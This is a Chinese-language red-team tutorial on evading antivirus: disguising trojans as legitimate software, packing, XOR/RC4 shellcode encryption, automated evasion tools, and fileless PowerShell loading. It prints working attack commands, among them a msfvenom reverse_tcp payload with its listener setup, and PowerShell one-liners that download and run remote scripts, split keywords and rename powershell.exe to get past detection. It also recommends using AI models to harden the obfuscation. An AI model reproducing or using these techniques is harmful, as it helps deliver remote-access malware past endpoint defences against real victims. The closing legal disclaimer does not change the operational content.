0x00 前言
在红蓝对抗、内网渗透与APT社工攻击场景中,免杀技术是红队攻击落地、权限维持的核心刚需。所有渗透攻击、内网横向移动的前提,都是攻击载荷能够绕过终端杀毒防护正常运行。即便掌握内网穿透、权限提升、漏洞利用等高阶技巧,若载荷被杀毒软件查杀,整条攻击链路将直接断裂。
免杀全称为反杀毒技术 ,核心本质并非制作恶意程序,而是通过修改、混淆、加密恶意载荷特征、篡改程序行为结构,规避杀毒软件静态、动态、云端三重检测,实现木马稳定运行、正常上线。
本文摒弃晦涩的底层理论堆砌,以零基础可落地实操为核心,完整梳理从基础特征伪装、程序加壳、Shellcode多算法加密,到PowerShell全维度免杀、内存无文件落地免杀、自动化工具实战的全套技术体系,所有操作均经过真机实测,可直接复现,适配网安入门学习者与红队实战人员。
0x01 免杀前置认知:查杀原理与实验环境
1.1 杀毒软件分类与三重查杀机制
市面上杀毒防护产品分为两大梯队,检测能力差异显著,也是我们免杀测试的核心靶标:
-
个人/社区版杀软:360安全卫士、火绒、Windows Defender、电脑管家、金山毒霸等,主打终端基础防护,特征更新快、普及度高,是新手免杀测试核心环境。
-
企业级安全设备:IDS、IPS、EDR、态势感知系统等,具备流量监控、行为溯源、内存扫描、全局威胁感知能力,检测精度和对抗难度远高于个人杀软,多用于企业内网防护。
所有杀毒软件的核心查杀逻辑分为三类,也是免杀对抗的核心突破口:
-
静态查杀:无需运行程序,通过匹配文件特征码、图标、版本信息、字符串、代码结构识别恶意程序,是最基础、最普遍的检测方式。
-
行为查杀(动态查杀):实时监控程序运行行为,包括内存注入、进程创建、网络外联、文件读写、权限变更等恶意操作,可拦截伪装后的可疑程序。
-
云查杀:提取文件特征上传云端病毒库,比对全网已知木马特征,实时更新查杀规则,时效性极强,大幅压缩传统免杀手法的存活周期。
核心对抗逻辑 :杀毒病毒库持续迭代更新,没有永久有效的免杀方案。免杀是一场持续的攻防博弈,旧的伪装、加密手法会随杀软升级逐步失效。学习核心是掌握免杀思路与组合方案,而非死记单一技巧。
1.2 标准化实验环境
为保证所有实验结果真实可复现,统一搭建专属实操环境:
-
两台Windows10虚拟机:分别部署360安全卫士、火绒安全,用于对比测试不同杀软的免杀效果;
-
Kali Linux虚拟机:用于生成Shellcode载荷、开启端口监听、搭建远程访问服务;
-
配套工具:HA_Restorator资源修改器、吾爱破解加壳工具包、Visual Studio编译器、各类加密脚本、Manjusaka、掩日等自动化免杀工具。
1.3 零基础学习核心目标
高阶免杀涉及内核编译、反汇编、逆向工程,门槛极高。对于入门学习者,无需深究底层原理,核心学习重点:
-
吃透核心免杀思路:特征伪装、代码混淆、载荷加密、行为分离;
-
熟练掌握各类工具、脚本的实操落地方法;
-
区分不同免杀手法的优缺点与适配场景;
-
具备独立组合多层免杀方案、对抗主流终端防护的能力。
0x02 基础免杀一:资源特征伪装(零基础首选)
静态查杀优先匹配程序的外观、资源与版本特征,资源伪装是最简单、零门槛的基础免杀手法,通过替换木马的可视化资源,规避基础静态查杀,同时迷惑系统任务管理器与用户。
2.1 工具准备
使用工具:HA_Restorator2018资源修改器,全程默认安装,输入对应激活码即可完成部署,无需复杂配置。
2.2 完整实操流程
-
导入文件:打开资源修改器,将原始木马程序、正规合规软件(示例:QQ音乐)程序同时拖入工具界面;
-
资源全覆盖伪装:将正规软件的图标、版本信息、光标样式、界面资源、版权信息等全部拖拽覆盖至木马文件,彻底替换木马原始恶意特征;
-
导出新程序:将修改后的木马另存为新文件,重命名为正规软件名称,完成全套外观伪装;
-
效果测试:伪装后的程序外观、进程信息、版本详情与正版软件完全一致,任务管理器无法区分,可正常实现CS/MSF上线,完美绕过基础静态查杀。
2.3 手法优劣总结
优势:操作零门槛、伪装迷惑性极强、程序运行无异常;劣势:仅能规避基础静态查杀,无法对抗动态行为查杀与云查杀,实战中必须搭配其他免杀手法组合使用。
0x03 基础免杀二:程序加壳混淆
杀毒软件会通过反编译程序源码,解析代码逻辑与运行特征实现查杀。加壳相当于给木马添加一层加密保护壳,阻碍杀软反编译破译代码,打乱程序原始结构,进一步强化静态免杀效果。
3.1 工具准备
使用吾爱破解工具包,内置多款加壳、脱壳、代码混淆工具,适配各类EXE木马程序,是红队基础免杀常用工具套件。
3.2 实操要点与局限性
实操核心技巧:优先选择冷门加壳工具进行混淆加密。热门加壳工具的特征已被杀毒病毒库批量收录,免杀时效性极差,冷门工具可有效规避特征匹配。
核心局限性:单纯加壳仅能优化静态免杀效果,无法绕过行为查杀与云端检测,单独使用免杀效果有限,实战中必须搭配Shellcode加密技术组合使用。
0x04 进阶核心:Shellcode多算法加密免杀
经过基础手法实测可发现,单纯的资源伪装、程序加壳无法应对主流杀软的综合检测。Shellcode加密是实战免杀的核心核心,通过加密木马底层16进制机器码,彻底篡改木马核心特征指纹,从根源规避静态、动态、云三重查杀,是红队实战最稳定、最常用的高阶方案。
4.1 Shellcode核心认知
-
定义:Shellcode是一段16进制机器码,是木马实现远程控制、内网渗透的核心底层源码;
-
作用:代码执行后可实现目标主机受控、反向连接攻击端,支撑CS、MSF稳定上线;
-
特性:原生Shellcode自带固定特征,极易被杀软识别,加密后可彻底改变特征指纹,规避查杀。
4.2 Shellcode两种生成方式
4.2.1 CS生成Shellcode
通过Cobalt Strike控制台生成raw格式Shellcode载荷,专门适配CS反向监听,连接稳定性更强,适配红队常规渗透场景。
4.2.2 Kali MSF生成Shellcode
执行以下命令生成C格式Shellcode,可自定义攻击IP与监听端口,适配MSF监听:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.9 LPORT=4444 -f c -o shellcode.c
参数说明:LHOST为Kali攻击机IP,LPORT为自定义监听端口,需与后续监听配置完全一致。
4.3 MSF配套监听配置
生成Shellcode后,需开启对应端口监听,等待目标主机木马执行上线:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.9
set LPORT 4444
run
4.4 编译环境关键配置
CS、MSF生成的原始Shellcode无法直接运行,需通过Visual Studio编译器搭配 C.c、原生态.c 模板编译为EXE程序。
重中之重 :编译必须选择Release发布模式,根据Shellcode位数选择x86/x64架构;Debug开发模式打包不完整,会缺失依赖文件,直接导致木马无法上线。
4.5 四大主流加密算法实战落地
4.5.1 XOR异或加密(零基础首选)
异或加密是入门级对称加密算法,操作简单、无复杂依赖、免杀稳定,是新手入门最优方案。
-
通过CS生成raw格式的payload.bin原始Shellcode;
-
将payload.bin与xor.py脚本放置同一目录,执行加密命令:
python xor.py -s payload.bin -d payload.c -n 10 -r out.bin
-
将加密后的Shellcode替换至
xor_py.cpp模板; -
VS以Release模式重新编译生成EXE程序;
-
实测效果:可完美绕过360、火绒查杀,CS上线稳定无异常。
4.5.2 Hex十六进制加密
通过格式转换混淆Shellcode原始特征,轻量化无门槛,免杀效果优于基础异或加密。
-
MSF生成C格式原始Shellcode;
-
文本编辑器清理代码:去除引号、换行符,保留完整代码并补充分号;
-
使用在线工具CyberChef完成Hex格式加密转换,下载加密后的dat文件;
-
通过LoaderMaker.exe工具编译生成EXE可执行程序;
-
实测可绕过主流终端杀毒,上线稳定。
4.5.3 RC4对称加密(高阶稳定方案)
RC4是经典流式对称加密算法,算法复杂度更高,密钥长度可变,可抵御基础暴力破解,免杀时效性远优于异或、Hex加密,是实战最优高阶方案。
-
MSF生成x86架构反向Shellcode;
-
导入rc4.cpp加密脚本,通过VS调试运行,生成加密后的Shellcode密文;
-
用加密密文替换源码中的原始Shellcode,重新编译Release版本EXE;
-
实测可完美绕过360、火绒静态+动态双重查杀,适配常规红队实战场景。
4.5.4 AI辅助加密优化
常规加密脚本特征单一,易被新型杀软收录查杀。可利用AI大模型优化加密逻辑,通过自定义提示词优化脚本,新增多轮加密、随机密钥、代码混淆功能,彻底规避固定特征匹配,大幅提升免杀时效性与对抗能力。
0x05 自动化免杀工具实战(快速落地)
手动加密适合学习原理,实战渗透中可使用成熟自动化免杀工具,一键完成Shellcode加密、混淆、EXE编译,快速生成免杀载荷,适配快速落地测试场景。
5.1 Manjusaka(曼珠沙华)Web免杀工具
轻量化Web端远控免杀工具,仿CS架构,图形化操作、无需复杂命令,适配内网渗透快速生成免杀载荷。
部署使用流程
# 上传项目至Kali,赋予权限并启动服务
cd manjusaka-main
chmod +x manjusaka
./manjusaka
-
浏览器访问:
http://10.0.0.20:3200/manjusaka,默认账号manjusaka、密码M3FyVxs40r登录; -
进入目标设定界面,自定义监听地址、加密密钥、程序架构;
-
一键生成NPC木马程序,下载至本地即可用于渗透测试;
-
实测可绕过基础终端杀毒,稳定上线。
5.2 潮汐在线免杀平台
在线可视化免杀平台,内置XOR、RC4、AES等多类加密算法,无需本地配置环境,零基础可一键操作。
核心缺点 :公开平台生成的木马特征已被主流杀软批量收录,时效性极差,仅适合新手练习原理,实战渗透不推荐使用。
5.3 掩日红队专属免杀工具
专业红队综合免杀工具,深度适配CS Shellcode,免杀效果优于多数开源工具,可绕过基础EDR与终端杀毒检测。
部署使用流程
-
安装依赖环境:TDM-GCC编译器、Go1.17.8 64位环境;
-
修改YRconfig.ini配置文件,填入gcc、go程序的绝对运行路径;
-
导入CS原始Shellcode,一键编译生成免杀EXE;
-
上传目标主机测试,可稳定绕过常规终端防护。
0x06 PowerShell专项免杀:无文件落地全维度Bypass
前文EXE、Shellcode免杀均为文件落地型免杀 ,存在特征固定、易被查杀的短板。PowerShell是Windows原生脚本环境,系统默认预装,最大优势为全程内存执行、无本地文件落地,隐蔽性极强,是内网渗透、横向移动、权限维持的核心载体。
但360、火绒、Windows Defender对PowerShell的特征与行为检测极为严格,原生载荷极易被拦截。本章系统讲解全套PowerShell免杀方案,覆盖入门到高阶全场景对抗手法。
6.1 核心查杀原理与上线模式
CS、MSF生成的原生PowerShell载荷,并非执行逻辑违规,而是存在固定超长特征变量、默认监听参数、固有函数结构,杀软可通过静态字符串匹配直接查杀。
原生两种上线模式,为所有免杀改造的基础载体:
-
文件模式 :上传payload.ps1至目标机,终端执行
./payload.ps1上线; -
命令行模式:远程加载脚本内存执行,无文件落地,隐蔽性更强。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xxx.ps1'))"
6.1 入门免杀:Base64编码混淆(过火绒)
针对火绒基础静态查杀,核心思路:对脚本高危敏感特征变量做Base64编码混淆,运行时通过.NET原生接口解码还原,篡改静态特征,绕过字符串匹配。
实操步骤
-
CS导出原生PowerShell载荷,定位脚本内超长敏感特征变量;
-
使用SuperSoft.exe转码工具对敏感变量进行Base64编码,替换明文特征;
-
写入标准解码逻辑,关联变量还原载荷:
$xiaolin=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))
替换源码执行变量为解码后的 $xiaolin,改造后脚本可完美绕过火绒查杀,CS稳定上线。
6.2 进阶免杀:垃圾字符混淆+代码分离(过360)
单层Base64编码特征固定,无法绕过360二次匹配检测,需采用双层高强度绕过方案。
6.2.1 垃圾字符填充混淆
在Base64密文中插入自定义垃圾字符破坏固定特征,运行时清空干扰、还原有效载荷:
-
密文内随机穿插自定义垃圾字符(如xiaolin);
-
添加字符清理代码,运行时自动剔除干扰:
$DoIt=$DoIt.Replace("xiaolin","")
执行逻辑:清干扰→解码→运行,可绕过360基础静态查杀。
6.2.2 远程代码分离(360最优稳定方案)
核心原理:拆分载荷特征,本地仅保留执行逻辑,高危特征远程加载,本地无完整恶意指纹,从根源规避查杀。
-
提取脚本核心高危特征,单独保存为xiaolin.txt,放置Kali Apache服务根目录;
-
开启Apache远程访问服务:
service apache2 start
service apache2 status
- 修改本地PS脚本,远程拉取特征载荷:
$DoIt = ((New-Object System.Net.WebClient).DownloadString("http://10.0.0.9/xiaolin.txt"))
实测效果:本地无完整恶意特征,360静态、动态均无拦截,上线稳定性极强。
6.3 高效免杀:Invoke-Obfuscation一键混淆
Invoke-Obfuscation是专业PowerShell自动化混淆工具,支持多算法加密,可一键完成载荷混淆,适配快速渗透落地场景。
工具使用流程
# 进入工具目录,加载模块并启动
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
# 指定待混淆文件路径
set scriptpath C:\Users\XXX\Desktop\payload.ps1
# 进入编码模式,选择混淆算法
encoding
# 导出免杀脚本
out C:\Users\XXX\Desktop\out.ps1
强化方案 :单层混淆时效性弱,实战推荐 Base64编码+工具二次混淆 双层嵌套加密,大幅提升免杀强度。
6.4 命令行模式多维Bypass技巧
针对无文件命令行上线模式,可通过关键字拆分、参数混淆、进程伪装、别名替换,规避杀软行为与特征检测。
6.4.1 关键字拆分绕过
拆分http、DownloadString等高危关键字,字符串拼接执行,规避关键词匹配:
# 拆分http关键字
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://10.0.0.20/xiaolin.ps1''));IEX ($a+$b)"
# 拆分DownloadString关键字
powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='123(''http://10.0.0.20/xiaolin.ps1'')'.Replace('123','adString');IEX ($a+$b)"
6.4.2 超长参数混淆
重复填充无害参数打乱命令结构,破坏固定特征匹配规则:
powershell -w Normal -w Normal -w Normal -w Normal IEX ((new-object net.webclient).downloadstring('http://10.0.0.20/xiaolin.ps1'))
6.4.3 进程伪装绕过
复制系统原生PowerShell程序重命名,绕过默认进程行为检测:
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe niko.txt
niko.txt -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.0.0.20/xiaolin.ps1'))"
6.5 高阶难点:Windows Defender深度免杀
Windows Defender与系统深度联动,检测精度远高于360、火绒,常规混淆手法完全失效,可精准匹配变量名、参数结构、连接特征等全维度指纹。
核心免杀思路
彻底破除所有原生固有特征,无差别改造载荷:
-
自定义修改所有默认变量、函数名称,消除固有指纹;
-
加密混淆IP、端口等反向连接参数,不保留明文特征;
-
遵循「改一点、测一点」原则,逐段调试,保证功能正常。
通过载荷整体转码、批量替换特征、逐段适配运行,最终可实现Defender环境稳定免杀上线。
0x07 高阶免杀:内存无文件落地免杀
前文落地式免杀均存在文件落地、易被扫描查杀的短板,而**内存免杀(无文件落地免杀)**可将Shellcode直接加载至内存运行,无本地文件残留,完美绕过文件扫描查杀,是红队高阶隐蔽渗透的核心技术。
7.1 核心原理
通过分离载荷与执行程序,将Shellcode独立存储、远程/本地读取加载,不落地恶意文件;申请内存时采用「可读可写→运行可执行」的渐进式权限修改,结合分块传输、远程加载的分离思想,彻底规避静态与文件查杀。
7.2 主流实现方式
常用落地手法:文本提取加载、加载器调用、远程协议加载、管道传输、图片隐写加载。核心逻辑均为载荷与执行代码分离,内存动态执行。
7.3 文本提取Shellcode实操
-
CS生成64位Shellcode,通过Python脚本将其转为Base64比特流;
-
新建s.txt文件,存储编码后的Shellcode载荷;
-
修改Python脚本,读取本地txt文件中的载荷并执行;
-
调试脚本确保CS正常上线,通过py2exe工具打包执行脚本为EXE;
-
最终实现:载荷独立存储、程序仅负责加载,无完整恶意特征,免杀效果大幅提升。
0x08 全量免杀手法优劣对比与实战组合方案
8.1 落地型免杀手法汇总
| 免杀手法 | 优势 | 劣势 | 实战场景 |
|---|---|---|---|
| 资源特征伪装 | 零门槛、迷惑性强、运行稳定 | 仅过静态查杀,无动态免杀能力 | 基础辅助伪装,搭配核心手法使用 |
| 程序加壳混淆 | 阻碍反编译,强化静态免杀 | 无法对抗行为、云查杀,单独效果差 | 组合加密手法配套使用 |
| XOR/Hex加密 | 操作简单、编译稳定、新手友好 | 加密强度低,时效性较短 | 日常练习、基础终端渗透 |
| RC4加密 | 加密强度高、免杀稳定、时效长 | 实操步骤稍多 | 红队常规实战、主流终端对抗 |
| 自动化工具免杀 | 一键生成、落地快速、零代码基础 | 公开工具特征易被收录 | 快速测试、应急落地场景 |
8.2 PowerShell免杀手法汇总
| 免杀手法 | 适配防护 | 核心优势 | 局限性 |
|---|---|---|---|
| Base64单层编码 | 火绒 | 操作简单、零报错、稳定性高 | 无法对抗360、Defender |
| 垃圾字符混淆 | 基础360 | 轻量无损耗、改造快速 | 时效性有限,需定期更新规则 |
| 远程代码分离 | 全量360防护 | 无本地恶意特征、免杀效果极强 | 依赖网络,离线场景不可用 |
| 工具一键混淆 | 基础终端防护 | 自动化落地、适配快速渗透 | 单层混淆特征易收录 |
| 全特征自定义改造 | Windows Defender | 对抗等级最高、适配顶级防护 | 调试繁琐、需逐段适配 |
8.3 实战最优组合方案
-
常规终端免杀(360/火绒):资源伪装 + 冷门加壳 + RC4多层加密;
-
内网隐蔽渗透:PowerShell远程代码分离 + 双层混淆加密(无文件落地);
-
高防护终端(Defender):全特征自定义改造 + 内存无文件加载 + 多层加密混淆。
0x09 总结与合规声明
9.1 技术总结
本文完整复盘了基础特征伪装、程序加壳混淆、Shellcode多算法加密、自动化工具实战、PowerShell全维度免杀、内存无文件免杀全套入门免杀技术体系,覆盖文件落地与无文件内存执行两大核心场景。
核心核心三点:
-
免杀的本质是持续特征混淆、加密迭代、结构改造,无永久通用手法,需紧跟杀软更新节奏灵活组合方案;
-
PowerShell无文件内存免杀是内网最优隐蔽方案,实战优先采用「分离加载+多层混淆」组合手法;
-
新手无需深究底层逆向,优先吃透实操流程与对抗思路,即可满足绝大多数红蓝对抗、安全测试需求。
9.2 合规声明
本文所有技术、代码、工具操作仅用于合法授权的网络安全测试、红蓝对抗演练、网络安全技术学习研究。严禁用于非法入侵、恶意攻击、未授权渗透、违规牟利等违法场景。任何违规使用带来的法律责任,由使用者自行承担,请严格遵守《中华人民共和国网络安全法》及相关法律法规。